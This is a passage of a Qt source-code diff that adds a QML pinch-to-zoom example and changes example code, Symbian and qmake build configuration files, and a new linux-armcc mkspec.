+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.1
+
+Rectangle {
+    width: 640
+    height: 360
+    color: "gray"
+
+    Flickable {
+        id: flick
+        anchors.fill: parent
+        contentWidth: 500
+        contentHeight: 500
+
+        PinchArea {
+            width: Math.max(flick.contentWidth, flick.width)
+            height: Math.max(flick.contentHeight, flick.height)
+            onPinchUpdated: {
+                // adjust content pos due to drag
+                flick.contentX += pinch.previousCenter.x - pinch.center.x
+                flick.contentY += pinch.previousCenter.y - pinch.center.y
+
+                // resize content
+                var scale = 1.0 + pinch.scale - pinch.previousScale
+                flick.resizeContent(flick.contentWidth * scale, flick.contentHeight * scale, pinch.center)
+            }
+
+            onPinchFinished: {
+                // Move its content within bounds.
+                flick.returnToBounds()
+            }
+
+            Rectangle {
+                width: flick.contentWidth
+                height: flick.contentHeight
+                color: "white"
+                Image {
+                    anchors.fill: parent
+                    source: "qt-logo.jpg"
+                    MouseArea {
+                        anchors.fill: parent
+                        onDoubleClicked: {
+                            flick.contentWidth = 500
+                            flick.contentHeight = 500
+                        }
+                    }
+                }
+            }
+        }
+    }
+}
diff --git a/examples/declarative/touchinteraction/pincharea/qt-logo.jpg b/examples/declarative/touchinteraction/pincharea/qt-logo.jpg
new file mode 100644
index 0000000..4014b46
--- /dev/null
+++ b/examples/declarative/touchinteraction/pincharea/qt-logo.jpg
diff --git a/examples/declarative/toys/dynamicscene/dynamicscene.qml b/examples/declarative/toys/dynamicscene/dynamicscene.qml
index cfc4b74..a436b41 100644
--- a/examples/declarative/toys/dynamicscene/dynamicscene.qml
+++ b/examples/declarative/toys/dynamicscene/dynamicscene.qml
@@ -215,9 +215,10 @@ Item {
         PropertyChanges { target: stars; opacity: 0 }
     }
 
+    //! [top-level transitions]
     transitions: Transition {
         PropertyAnimation { duration: 3000 }
         ColorAnimation { duration: 3000 }
     }
-
+    //! [top-level transitions]
 }
diff --git a/examples/declarative/toys/dynamicscene/qml/itemCreation.js b/examples/declarative/toys/dynamicscene/qml/itemCreation.js
index e74f7b0..4ee74c2 100644
--- a/examples/declarative/toys/dynamicscene/qml/itemCreation.js
+++ b/examples/declarative/toys/dynamicscene/qml/itemCreation.js
@@ -28,11 +28,8 @@ function loadComponent() {
 
 function createItem() {
     if (itemComponent.status == Component.Ready && draggedItem == null) {
-        draggedItem = itemComponent.createObject(window);
-        draggedItem.image = paletteItem.image;
-        draggedItem.x = posnInWindow.x;
-        draggedItem.y = posnInWindow.y;
-        draggedItem.z = 3;  // make sure created item is above the ground layer
+        draggedItem = itemComponent.createObject(window, {"image": paletteItem.image, "x": posnInWindow.x, "y": posnInWindow.y, "z": 3});
+        // make sure created item is above the ground layer
     } else if (itemComponent.status == Component.Error) {
         draggedItem = null;
         console.log("error creating component");
diff --git a/examples/gestures/imagegestures/imagewidget.cpp b/examples/gestures/imagegestures/imagewidget.cpp
index 12e6216..8bbb965 100644
--- a/examples/gestures/imagegestures/imagewidget.cpp
+++ b/examples/gestures/imagegestures/imagewidget.cpp
@@ -1,3 +1,4 @@
+
 /****************************************************************************
 **
 ** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
diff --git a/examples/phonon/phonon.pro b/examples/phonon/phonon.pro
index aa6ac13..c6a0bff 100644
--- a/examples/phonon/phonon.pro
+++ b/examples/phonon/phonon.pro
@@ -3,6 +3,9 @@ CONFIG       += ordered
 SUBDIRS       = qmusicplayer \
                 capabilities
 
+# Disable capabilities example for symbian-gcce due to a bug in elf2e32.
+symbian-gcce:SUBDIRS -= capabilities
+
 # install
 target.path = $$[QT_INSTALL_EXAMPLES]/phonon
 sources.files = $$SOURCES $$HEADERS $$RESOURCES $$FORMS phonon.pro README
diff --git a/examples/script/context2d/environment.cpp b/examples/script/context2d/environment.cpp
index 7d6d6f8..e68c1ca 100644
--- a/examples/script/context2d/environment.cpp
+++ b/examples/script/context2d/environment.cpp
@@ -363,6 +363,23 @@ QScriptValue Environment::evaluate(const QString &code, const QString &fileName)
     return m_engine->evaluate(code, fileName);
 }
 
+bool Environment::hasIntervalTimers() const
+{
+    return !m_intervalHash.isEmpty();
+}
+
+// This is used by the Context2D QtScript benchmark.
+void Environment::triggerTimers()
+{
+    for (int x = 0; x < 2; ++x) {
+        QList<int> timerIds = x ? m_intervalHash.keys() : m_timeoutHash.keys();
+        for (int i = 0; i < timerIds.size(); ++i) {
+            QTimerEvent fakeEvent(timerIds.at(i));
+            timerEvent(&fakeEvent);
+        }
+    }
+}
+
 //! [2]
 QScriptValue Environment::toWrapper(QObject *object)
 {
diff --git a/examples/script/context2d/environment.h b/examples/script/context2d/environment.h
index dd92e85..221875f 100644
--- a/examples/script/context2d/environment.h
+++ b/examples/script/context2d/environment.h
@@ -78,6 +78,8 @@ public:
 //! [0]
 
     QScriptEngine *engine() const;
+    bool hasIntervalTimers() const;
+    void triggerTimers();
 
 //! [1]
 public slots:
diff --git a/examples/scroller/scroller.pro b/examples/scroller/scroller.pro
index e830745..9a9991a 100644
--- a/examples/scroller/scroller.pro
+++ b/examples/scroller/scroller.pro
@@ -1,7 +1,7 @@
 TEMPLATE      = subdirs
-SUBDIRS       = graphicsview \
-                plot \
-                wheel
+SUBDIRS       = graphicsview
+
+contains(QT_CONFIG, webkit):SUBDIRS += plot wheel
 
 # install
 sources.files = *.pro
diff --git a/examples/tutorials/addressbook/part6/addressbook.cpp b/examples/tutorials/addressbook/part6/addressbook.cpp
index 64615c7..c7dc8e2 100644
--- a/examples/tutorials/addressbook/part6/addressbook.cpp
+++ b/examples/tutorials/addressbook/part6/addressbook.cpp
@@ -74,7 +74,7 @@ AddressBook::AddressBook(QWidget *parent)
 //! [tooltip 1]    
     loadButton->setToolTip(tr("Load contacts from a file"));
 //! [tooltip 1]        
-    saveButton = new QPushButton(tr("Sa&ve..."));
+    saveButton = new QPushButton(tr("&Save..."));
 //! [tooltip 2]
     saveButton->setToolTip(tr("Save contacts to a file"));
 //! [tooltip 2]
diff --git a/examples/tutorials/addressbook/part7/addressbook.cpp b/examples/tutorials/addressbook/part7/addressbook.cpp
index b04198c..501ad31 100644
--- a/examples/tutorials/addressbook/part7/addressbook.cpp
+++ b/examples/tutorials/addressbook/part7/addressbook.cpp
@@ -72,7 +72,7 @@ AddressBook::AddressBook(QWidget *parent)
 
     loadButton = new QPushButton(tr("&Load..."));
     loadButton->setToolTip(tr("Load contacts from a file"));
-    saveButton = new QPushButton(tr("Sa&ve..."));
+    saveButton = new QPushButton(tr("&Save..."));
     saveButton->setToolTip(tr("Save contacts to a file"));
     saveButton->setEnabled(false);
 
diff --git a/mkspecs/common/symbian/symbian-makefile.conf b/mkspecs/common/symbian/symbian-makefile.conf
index 4574a6b..b248117 100644
--- a/mkspecs/common/symbian/symbian-makefile.conf
+++ b/mkspecs/common/symbian/symbian-makefile.conf
@@ -23,8 +23,6 @@ QMAKE_ELF2E32_FLAGS	= --dlldata \
                           --compressionmethod bytepair \
                           --unpaged
 
-include(../../common/unix.conf)
-
 QMAKE_PREFIX_SHLIB    =
 CONFIG *= no_plugin_name_prefix
 QMAKE_PREFIX_STATICLIB =
@@ -35,7 +33,7 @@ QMAKE_LINK_OBJECT_SCRIPT = objects
 is_using_gnupoc {
     DEFINES *= __QT_PRODUCT_INCLUDE_IS_LOWERCASE__
 }
-QMAKE_SYMBIAN_INCLUDES = $$[QT_INSTALL_DATA]/mkspecs/common/symbian/symbianincludes.h
+QMAKE_SYMBIAN_INCLUDES = $$IN_PWD/symbianincludes.h
 symbian-armcc {
     QMAKE_CFLAGS += --preinclude $$QMAKE_SYMBIAN_INCLUDES
     QMAKE_CXXFLAGS += --preinclude $$QMAKE_SYMBIAN_INCLUDES
diff --git a/mkspecs/common/symbian/symbian-mmp.conf b/mkspecs/common/symbian/symbian-mmp.conf
index 4d554bd..8ed326a 100644
--- a/mkspecs/common/symbian/symbian-mmp.conf
+++ b/mkspecs/common/symbian/symbian-mmp.conf
@@ -13,7 +13,7 @@ symbian-abld {
 } else {
     MMP_RULES_DONT_EXPORT_ALL_CLASS_IMPEDIMENTA = "OPTION_REPLACE ARMCC --export_all_vtbl // don't use --export_all_vtbl"
 }
-MMP_RULES += PAGED BYTEPAIRCOMPRESSTARGET
+MMP_RULES += BYTEPAIRCOMPRESSTARGET
 MMP_RULES += $$MMP_RULES_DONT_EXPORT_ALL_CLASS_IMPEDIMENTA
 SYMBIAN_PLATFORMS = WINSCW GCCE ARMV5 ARMV6
 
@@ -28,7 +28,8 @@ INCLUDEPATH = \
 # RVCT seems to do this automatically, but WINSCW compiler does not, so add it here.
 MMP_RULES += "USERINCLUDE ."
 
-contains(S60_VERSION, 3.1):MMP_RULES -= PAGED BYTEPAIRCOMPRESSTARGET
+# S60 3.1 devices don't support paging for non-ROM components, so no point in using the less efficient compression mechanism
+contains(S60_VERSION, 3.1):MMP_RULES -= BYTEPAIRCOMPRESSTARGET
 
 QMAKE_CXXFLAGS_FAST_VFP.ARMCC = --fpmode fast
 # [TODO] QMAKE_CXXFLAGS_FAST_VFP.GCCE =
diff --git a/mkspecs/common/symbian/symbian.conf b/mkspecs/common/symbian/symbian.conf
index 69c0ca8..63db511 100644
--- a/mkspecs/common/symbian/symbian.conf
+++ b/mkspecs/common/symbian/symbian.conf
@@ -70,16 +70,17 @@ QMAKE_LINK_OBJECT_SCRIPT=
 
 QMAKE_LIBS		= -llibc -llibm -leuser -llibdl
 QMAKE_LIBS_CORE         = $$QMAKE_LIBS -lefsrv -lhal -lbafl -lapparc
-QMAKE_LIBS_GUI          = $$QMAKE_LIBS_CORE -lfbscli -lbitgdi -lgdi -lws32 -lapgrfx -lcone -leikcore -lmediaclientaudio -lcentralrepository
+QMAKE_LIBS_CFBSBITMAP   = -lfbscli -lbitgdi -lgdi
+QMAKE_LIBS_GUI          = $$QMAKE_LIBS_CORE $$QMAKE_LIBS_CFBSBITMAP -lws32 -lapgrfx -lcone -leikcore -lmediaclientaudio -lcentralrepository
 QMAKE_LIBS_NETWORK      = 
 QMAKE_LIBS_EGL          = -llibEGL
 QMAKE_LIBS_OPENGL       = -llibGLESv2
 QMAKE_LIBS_OPENGL_ES1   = -llibGLESv1_CM
 QMAKE_LIBS_OPENGL_ES2   = -llibGLESv2
-QMAKE_LIBS_OPENGL_QT     = -llibGLESv2 -lcone -lws32
-QMAKE_LIBS_OPENGL_ES1_QT = -llibGLESv1_CM -lcone -lws32
-QMAKE_LIBS_OPENGL_ES2_QT = -llibGLESv2 -lcone -lws32
-QMAKE_LIBS_OPENVG       = -llibOpenVG -lfbscli -lbitgdi -lgdi
+QMAKE_LIBS_OPENGL_QT     = $$QMAKE_LIBS_OPENGL $$QMAKE_LIBS_CFBSBITMAP -lcone -lws32
+QMAKE_LIBS_OPENGL_ES1_QT = $$QMAKE_LIBS_OPENGL_ES1 $$QMAKE_LIBS_CFBSBITMAP -lcone -lws32
+QMAKE_LIBS_OPENGL_ES2_QT = $$QMAKE_LIBS_OPENGL_ES2 $$QMAKE_LIBS_CFBSBITMAP -lcone -lws32
+QMAKE_LIBS_OPENVG       = $$QMAKE_LIBS_CFBSBITMAP -llibOpenVG
 QMAKE_LIBS_THREAD       = -llibpthread
 QMAKE_LIBS_COMPAT       = 
 QMAKE_LIBS_S60          = -lavkon -leikcoctl
@@ -215,19 +216,14 @@ default_deployment.pkg_prerules += pkg_depends_webkit pkg_depends_qt pkg_platfor
 DEPLOYMENT += default_deployment default_bin_deployment default_resource_deployment default_reg_deployment
 
 defineReplace(symbianRemoveSpecialCharacters) {
-    # Produce identical string to what SymbianCommonGenerator::removeSpecialCharacters and
-    # SymbianCommonGenerator::removeEpocSpecialCharacters produce
+    # Produce identical string to what SymbianCommonGenerator::removeSpecialCharacters
 
     fixedStr = $$1
 
     fixedStr = $$replace(fixedStr, /,_)
     fixedStr = $$replace(fixedStr, \\\\,_)
     fixedStr = $$replace(fixedStr, " ",_)
-    symbian-abld|symbian-sbsv2 {
-        fixedStr = $$replace(fixedStr, -,_)
-        fixedStr = $$replace(fixedStr, \\.,_)
-        fixedStr = $$replace(fixedStr, :,_)
-    }
+    fixedStr = $$replace(fixedStr, :,_)
 
     return ($$fixedStr)
 }
diff --git a/mkspecs/features/qt_config.prf b/mkspecs/features/qt_config.prf
index 19e01a1..de1cac4 100644
--- a/mkspecs/features/qt_config.prf
+++ b/mkspecs/features/qt_config.prf
@@ -11,7 +11,11 @@ isEmpty(QMAKE_QT_CONFIG)|!exists($$QMAKE_QT_CONFIG) {
    debug(1, "Cannot load qconfig.pri!")
 } else {
    debug(1, "Loaded .qconfig.pri from ($$QMAKE_QT_CONFIG)")
-   for(mod, $$list($$files($$dirname(QMAKE_QT_CONFIG)/modules/qt_*.pri))):include($$mod)
+   for(dir, $$list($$unique($$list($$dirname(QMAKE_QT_CONFIG) \
+                                   $$split($$list($$[QMAKE_MKSPECS]), $$DIRLIST_SEPARATOR))))) {
+      debug(1, "Loading modules from $${dir}")
+      for(mod, $$list($$files($$dir/modules/qt_*.pri))):include($$mod)
+   }
 }
 
 load(qt_functions)
diff --git a/mkspecs/features/qt_functions.prf b/mkspecs/features/qt_functions.prf
index f1c3e13..5baf7ce 100644
--- a/mkspecs/features/qt_functions.prf
+++ b/mkspecs/features/qt_functions.prf
@@ -46,22 +46,27 @@ defineTest(qtAddLibrary) {
        }
     }
     symbian {
-        isEqual(LIB_NAME, QtGui) {
+        isEqual(LIB_NAME, QtCore) {
+            #workaround for dependency from f32file.h on e32svr.h which has moved location in symbian3
+            contains(SYMBIAN_VERSION, Symbian3) {
+                INCLUDEPATH *= $$OS_LAYER_SYSTEMINCLUDE
+            }
+        } else:isEqual(LIB_NAME, QtGui) {
             # Needed for #include <QtGui> because qs60mainapplication.h includes aknapp.h
             INCLUDEPATH *= $$MW_LAYER_SYSTEMINCLUDE
         } else:isEqual(LIB_NAME, QtWebKit) {
             # Needed for because relative inclusion problem in toolchain
             INCLUDEPATH *= $$QMAKE_INCDIR_QT/QtXmlPatterns
             INCLUDEPATH *= $$QMAKE_INCDIR_QT/QtNetwork
-            TARGET.CAPABILITY *= NetworkServices
+            isEmpty(TARGET.CAPABILITY): TARGET.CAPABILITY = NetworkServices
             isEmpty(TARGET.EPOCHEAPSIZE):TARGET.EPOCHEAPSIZE = 0x20000 0x2000000
         } else:isEqual(LIB_NAME, QtXmlPatterns) {
             # Needed for #include <QtXmlPatterns/QtXmlPatterns> because relative inclusion problem in toolchain
             INCLUDEPATH *= $$QMAKE_INCDIR_QT/QtNetwork
         } else:isEqual(LIB_NAME, QtNetwork) {
-            TARGET.CAPABILITY *= NetworkServices
+            isEmpty(TARGET.CAPABILITY): TARGET.CAPABILITY = NetworkServices
         } else:isEqual(LIB_NAME, QtDeclarative) {
-            TARGET.CAPABILITY *= NetworkServices
+            isEmpty(TARGET.CAPABILITY): TARGET.CAPABILITY = NetworkServices
             isEmpty(TARGET.EPOCHEAPSIZE):TARGET.EPOCHEAPSIZE = 0x20000 0x2000000
         }
         export(TARGET.EPOCHEAPSIZE)
diff --git a/mkspecs/features/symbian/application_icon.prf b/mkspecs/features/symbian/application_icon.prf
index f50e944..d9918bf 100644
--- a/mkspecs/features/symbian/application_icon.prf
+++ b/mkspecs/features/symbian/application_icon.prf
@@ -12,69 +12,75 @@ contains(CONFIG, no_icon) {
 
 !contains(CONFIG, no_icon) {
     baseTarget = $$symbianRemoveSpecialCharacters($$basename(TARGET))
-    symbian-abld|symbian-sbsv2 {
-        resourceZDir = $$EPOCROOT$$HW_ZDIR$$APP_RESOURCE_DIR
-        regZDir = $$EPOCROOT$$HW_ZDIR$$REG_RESOURCE_IMPORT_DIR
+    contains(baseTarget, "^.*\\..*$") {
+        CONFIG += no_icon
+        ICON =
+        warning("Symbian resources do not support '.' character in TARGET, skipping resource generation.")
     } else {
-        contains(DESTDIR, "/.*") {
-            resourceZDir = $$DESTDIR
-        } else:isEmpty(DESTDIR) {
-            resourceZDir = $$OUT_PWD
+        symbian-abld|symbian-sbsv2 {
+            resourceZDir = $$EPOCROOT$$HW_ZDIR$$APP_RESOURCE_DIR
+            regZDir = $$EPOCROOT$$HW_ZDIR$$REG_RESOURCE_IMPORT_DIR
         } else {
-            resourceZDir = $$OUT_PWD/$$DESTDIR
+            contains(DESTDIR, "/.*") {
+                resourceZDir = $$DESTDIR
+            } else:isEmpty(DESTDIR) {
+                resourceZDir = $$OUT_PWD
+            } else {
+                resourceZDir = $$OUT_PWD/$$DESTDIR
+            }
+            regZDir = $$resourceZDir
         }
-        regZDir = $$resourceZDir
-    }
 
-    default_resource_deployment.files += $$resourceZDir/$${baseTarget}.rsc
-    default_resource_deployment.path = $$APP_RESOURCE_DIR
-    default_reg_deployment.files += $$regZDir/$${baseTarget}_reg.rsc
-    default_reg_deployment.path = $$REG_RESOURCE_IMPORT_DIR
+        default_resource_deployment.files += $$resourceZDir/$${baseTarget}.rsc
+        default_resource_deployment.path = $$APP_RESOURCE_DIR
+        default_reg_deployment.files += $$regZDir/$${baseTarget}_reg.rsc
+        default_reg_deployment.path = $$REG_RESOURCE_IMPORT_DIR
 
-    !isEmpty(ICON) {
-        !count(ICON, 1) {
-            ICON = $$first(ICON)
-            warning("Only first icon specified in ICON variable is used: $$ICON")
-        }
+        !isEmpty(ICON) {
+            !count(ICON, 1) {
+                ICON = $$first(ICON)
+                warning("Only first icon specified in ICON variable is used: $$ICON")
+            }
 
-        # Note: symbian-sbsv2 builds can't utilize extra compiler for mifconv, so ICON handling is done in code
-        !symbian-sbsv2 {
-            # Absolute path required for shadow builds.
-            # However, in older Symbian environments abld toolchain can't handle even moderately long
-            # paths, so don't force absolute there.
-            !symbian-abld:!contains(ICON, "^(/|\\\\|.:).*"):ICON = $$_PRO_FILE_PWD_/$$ICON
+            # Note: symbian-sbsv2 builds can't utilize extra compiler for mifconv, so ICON handling is done in code
+            !symbian-sbsv2 {
+                # Absolute path required for shadow builds.
+                # However, in older Symbian environments abld toolchain can't handle even moderately long
+                # paths, so don't force absolute there.
+                !symbian-abld:!contains(ICON, "^(/|\\\\|.:).*"):ICON = $$_PRO_FILE_PWD_/$$ICON
 
-            #Makefile: requires paths with backslash
-            ICON_backslashed = $$ICON
+                #Makefile: requires paths with backslash
+                ICON_backslashed = $$ICON
 
-            symbian-abld {
-                # ${ZDIR} is defined in Makefile
-                mifIconZDir = ${ZDIR}$$APP_RESOURCE_DIR
-            } else {
-                mifIconZDir = $$resourceZDir
-            }
+                symbian-abld {
+                    # ${ZDIR} is defined in Makefile
+                    mifIconZDir = ${ZDIR}$$APP_RESOURCE_DIR
+                } else {
+                    mifIconZDir = $$resourceZDir
+                }
 
-            # Extra compiler rules for mifconv
-            mifconv.target = $$mifIconZDir/$${baseTarget}.mif
-            contains(QMAKE_HOST.os, "Windows") {
-                ICON_backslashed = $$replace(ICON_backslashed, /, \\)
-                mifconv.target = $$replace(mifconv.target, /, \\)
-            }
-            # Based on: http://www.forum.nokia.com/document/Cpp_Developers_Library
-            # svg-t icons should always use /c32 depth
-            mifconv.commands = mifconv $$mifconv.target /c32 $$ICON_backslashed
+                # Extra compiler rules for mifconv
+                mifconv.target = $$mifIconZDir/$${baseTarget}.mif
+                contains(QMAKE_HOST.os, "Windows") {
+                    ICON_backslashed = $$replace(ICON_backslashed, /, \\)
+                    mifconv.target = $$replace(mifconv.target, /, \\)
+                }
+                # Based on: http://www.forum.nokia.com/document/Cpp_Developers_Library
+                # svg-t icons should always use /c32 depth
+                mifconv.commands = mifconv $$mifconv.target /c32 $$ICON_backslashed
 
-            mifconv.depends = $$ICON
-            PRE_TARGETDEPS += $$mifconv.target
-            QMAKE_EXTRA_TARGETS += mifconv
-            QMAKE_DISTCLEAN += $$mifconv.target
-        }
-        # Rules to use generated MIF file from symbian resources
-        RSS_RULES.number_of_icons = $$size(ICON_backslashed)
+                mifconv.depends = $$ICON
+                PRE_TARGETDEPS += $$mifconv.target
+                QMAKE_EXTRA_TARGETS += mifconv
+                QMAKE_CLEAN += $$mifconv.target
+            }
+            # Rules to use generated MIF file from symbian resources
+            RSS_RULES.number_of_icons = $$size(ICON_backslashed)
 
-        RSS_RULES.icon_file = $$APP_RESOURCE_DIR/$${baseTarget}.mif                
+            RSS_RULES.icon_file = $$APP_RESOURCE_DIR/$${baseTarget}.mif                
 
-        default_resource_deployment.files += $$resourceZDir/$${baseTarget}.mif
+            default_resource_deployment.files += $$resourceZDir/$${baseTarget}.mif
+        }
     }
 }
 
diff --git a/mkspecs/features/symbian/default_post.prf b/mkspecs/features/symbian/default_post.prf
index fffc481..98ab547 100644
--- a/mkspecs/features/symbian/default_post.prf
+++ b/mkspecs/features/symbian/default_post.prf
@@ -85,14 +85,16 @@ contains(CONFIG, qt):!contains(TARGET.UID3, 0x2001E61C):!contains(TARGET.UID3, 0
 isEmpty(TARGET.EPOCSTACKSIZE):TARGET.EPOCSTACKSIZE = 0x14000
 isEmpty(TARGET.EPOCHEAPSIZE):TARGET.EPOCHEAPSIZE = 0x020000 0x800000
 
-# Supports S60 3.1, 3.2, 5.0, Symbian^3, and Symbian^4 by default
+# Supports Symbian^3 and Symbian^4 by default and also S60 3.1, 3.2, and 5.0 if built against any of those.
 platform_product_id = S60ProductID
 platform_product_id = $$addLanguageDependentPkgItem(platform_product_id)
 pkg_platform_dependencies = \
     "; Default HW/platform dependencies" \
-    "[0x102032BE],0,0,0,{$$platform_product_id}" \
-    "[0x102752AE],0,0,0,{$$platform_product_id}" \
-    "[0x1028315F],0,0,0,{$$platform_product_id}" \
     "[0x20022E6D],0,0,0,{$$platform_product_id}" \
-    "[0x20032DE7],0,0,0,{$$platform_product_id}" \
-    " "
+    "[0x20032DE7],0,0,0,{$$platform_product_id}"
+contains(S60_VERSION, 3.1)|contains(S60_VERSION, 3.2)|contains(S60_VERSION, 5.0) {
+    pkg_platform_dependencies += \
+        "[0x102032BE],0,0,0,{$$platform_product_id}" \
+        "[0x102752AE],0,0,0,{$$platform_product_id}" \
+        "[0x1028315F],0,0,0,{$$platform_product_id}"
+}
diff --git a/mkspecs/features/symbian/symbian_building.prf b/mkspecs/features/symbian/symbian_building.prf
index 678838c..28046b4 100644
--- a/mkspecs/features/symbian/symbian_building.prf
+++ b/mkspecs/features/symbian/symbian_building.prf
@@ -56,7 +56,7 @@ defineReplace(processSymbianLibrary) {
 }
 
 # This part turn "-llibc" into "libc.dso", and moves -L entries to QMAKE_LIBDIR.
-libsToProcess = LIBS QMAKE_LIBS
+libsToProcess = LIBS LIBS_PRIVATE QMAKE_LIBS
 for(libToProcess, libsToProcess) {
     qt_libraries = $$split($$libToProcess, " ")
     eval($$libToProcess =)
@@ -95,8 +95,8 @@ count(splitVersion, 0) {
 } else {
     count(splitVersion, 3) {
         hexVersion = $$system("perl -e \"printf (\\\"%02x\\\", $$member(splitVersion, 0))\"")
-        hexPart2 = $$system("perl -e \"printf (\\\"%02x\\\", $$member(splitVersion, 1))\"")"
-        hexPart2 = $$hexPart2$$system("perl -e \"printf (\\\"%02x\\\", $$member(splitVersion, 2))\"")"
+        hexPart2 = $$system("perl -e \"printf (\\\"%02x\\\", $$member(splitVersion, 1))\"")
+        hexPart2 = $$hexPart2$$system("perl -e \"printf (\\\"%02x\\\", $$member(splitVersion, 2))\"")
         decVersion = $$system("perl -e \"printf (\\\"%1d\\\", 0x$$hexVersion)\"").
         hexVersion = $$hexVersion$$hexPart2
         decVersion = $$decVersion$$system("perl -e \"printf (\\\"%d\\\", 0x$$hexPart2)\"")
diff --git a/mkspecs/symbian-gcce/qmake.conf b/mkspecs/symbian-gcce/qmake.conf
index 3992681..f550751a 100644
--- a/mkspecs/symbian-gcce/qmake.conf
+++ b/mkspecs/symbian-gcce/qmake.conf
@@ -47,14 +47,14 @@ QMAKE_CXXFLAGS_STATIC_LIB	-= -fPIC
 
 QMAKE_LFLAGS_SONAME	=
 #QMAKE_LFLAGS_THREAD	+=
-#QMAKE_LFLAGS_NOUNDEF	+= -Wl,--no-undefined
+QMAKE_LFLAGS_NOUNDEF	=
 QMAKE_LFLAGS_RPATH	= --rpath=
 
 DEFINES		+= __GCCE__ \
                    UNICODE
 
 QMAKE_LFLAGS_APP        += --entry=_E32Startup -u _E32Startup
-QMAKE_LFLAGS_SHLIB      += -shared --default-symver --entry _E32Dll
+QMAKE_LFLAGS_SHLIB      += -shared --default-symver --entry=_E32Dll -u _E32Dll
 QMAKE_LFLAGS_PLUGIN     += $$QMAKE_LFLAGS_SHLIB
 
 gcceExtraFlags = --include=$${EPOCROOT}epoc32/include/gcce/gcce.h -march=armv5t -mapcs -mthumb-interwork -nostdinc -c -msoft-float -T script
diff --git a/mkspecs/symbian-sbsv2/flm/qt/qmake_clean.flm b/mkspecs/symbian-sbsv2/flm/qt/qmake_clean.flm
new file mode 100644
index 0000000..fe35e6e
--- /dev/null
+++ b/mkspecs/symbian-sbsv2/flm/qt/qmake_clean.flm
@@ -0,0 +1,18 @@
+# /****************************************************************************
+# **
+# ** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+# ** Contact: Nokia Corporation (qt-info@nokia.com)
+# **
+# ** This file is part of symbian-sbsv2 mkspec.
+# **
+# ****************************************************************************/
+
+
+SINGLETON:=$(call sanitise,QMAKE_CLEAN_SINGLETON_$(EXTENSION_ROOT))
+
+ifeq ($($(SINGLETON)),)
+# Prevent duplicate targets from being created
+$(SINGLETON):=1
+$(eval $(call GenerateStandardCleanTarget,$(CLEAN_FILES),''))
+endif
+
diff --git a/mkspecs/symbian-sbsv2/flm/qt/qmake_emulator_deployment.flm b/mkspecs/symbian-sbsv2/flm/qt/qmake_emulator_deployment.flm
index db91f7f..8791a47 100644
--- a/mkspecs/symbian-sbsv2/flm/qt/qmake_emulator_deployment.flm
+++ b/mkspecs/symbian-sbsv2/flm/qt/qmake_emulator_deployment.flm
@@ -11,6 +11,9 @@
 SINGLETON:=$(call sanitise,TARGET_$(DEPLOY_TARGET))
 CLEAN_TARGET:=
 
+# Deployment dependencies collection target for post link operations
+all_qmake_emulator_deployment_dependencies::
+
 define qmake_emulator_deployment
 $(ALLTARGET):: $(1)
 
@@ -19,7 +22,7 @@ $(SINGLETON):=1
 
 CLEAN_TARGET:=$(1)
 
-$(1): $(2)
+$(1): $(2) all_qmake_emulator_deployment_dependencies
 	$(call startrule,qmake_emulator_deployment) \
 	$(GNUCP) --remove-destination --no-preserve=mode $(2) "$$@" && \
 	$(GNUCHMOD) a+rw "$$@" \
@@ -30,8 +33,6 @@ ifeq ($($(SINGLETON)),)
 $(eval $(call qmake_emulator_deployment, $(subst $(CHAR_SPACE),\$(CHAR_SPACE),$(DEPLOY_TARGET)), $(subst $(CHAR_SPACE),\$(CHAR_SPACE),$(DEPLOY_SOURCE))))
 $(call makepath,$(dir $(DEPLOY_TARGET)))
 $(eval $(call GenerateStandardCleanTarget,$(CLEAN_TARGET),''))
+$(eval $(call whatmacro,$(CLEAN_TARGET)))
 endif	
 
-
-
-
diff --git a/mkspecs/symbian-sbsv2/flm/qt/qmake_post_link.flm b/mkspecs/symbian-sbsv2/flm/qt/qmake_post_link.flm
index ae53741..0312d14 100644
--- a/mkspecs/symbian-sbsv2/flm/qt/qmake_post_link.flm
+++ b/mkspecs/symbian-sbsv2/flm/qt/qmake_post_link.flm
@@ -18,6 +18,8 @@ define command_fixer
 	THE_COMMAND:=$(POST_LINK_CMD)
 endef
 
+all_qmake_emulator_deployment_dependencies:: $(POST_LINK_TARGET)
+
 define qmake_post_link
 $(ALLTARGET):: $(POST_LINK_TARGET)
 
diff --git a/mkspecs/symbian-sbsv2/flm/qt/qt.xml b/mkspecs/symbian-sbsv2/flm/qt/qt.xml
index ddd8d55..f2f32ee 100644
--- a/mkspecs/symbian-sbsv2/flm/qt/qt.xml
+++ b/mkspecs/symbian-sbsv2/flm/qt/qt.xml
@@ -38,4 +38,9 @@
     <interface name="qt.qmake_store_build" extends="Symbian.UserFLM"
                 flm="qmake_store_build.flm">
     </interface>    
+
+    <interface name="qt.qmake_clean" extends="Symbian.UserFLM"
+                flm="qmake_clean.flm">
+        <param name='CLEAN_FILES' />
+    </interface>
 </build>
diff --git a/mkspecs/unsupported/linux-armcc/qmake.conf b/mkspecs/unsupported/linux-armcc/qmake.conf
new file mode 100644
index 0000000..77891c3
--- /dev/null
+++ b/mkspecs/unsupported/linux-armcc/qmake.conf
@@ -0,0 +1,32 @@
+#
+# qmake configuration for linux-armcc
+#
+
+MAKEFILE_GENERATOR      = UNIX
+TARGET_PLATFORM         = unix
+TEMPLATE                = app
+CONFIG                  += qt warn_on release incremental link_prl armcc_linker
+QT                      += core gui
+QMAKE_INCREMENTAL_STYLE = sublib
+
+include(../../common/linux.conf)
+include(../../common/armcc.conf)
+load(qt_config)
+
+# use armcc for linking since armlink doesn't understand the arm_linux_config_file option
+QMAKE_LINK		= armcc
+QMAKE_LINK_SHLIB	= armcc
+QMAKE_LINK_C		= armcc
+QMAKE_LINK_C_SHLIB	= armcc
+
+QMAKE_LFLAGS_SHLIB      += --apcs=/fpic --shared
+QMAKE_LFLAGS_PLUGIN     = $$QMAKE_LFLAGS_SHLIB
+
+QMAKE_LIBS              += libstdc++.so librt.so
+
+CONFIG -= rvct_linker
+
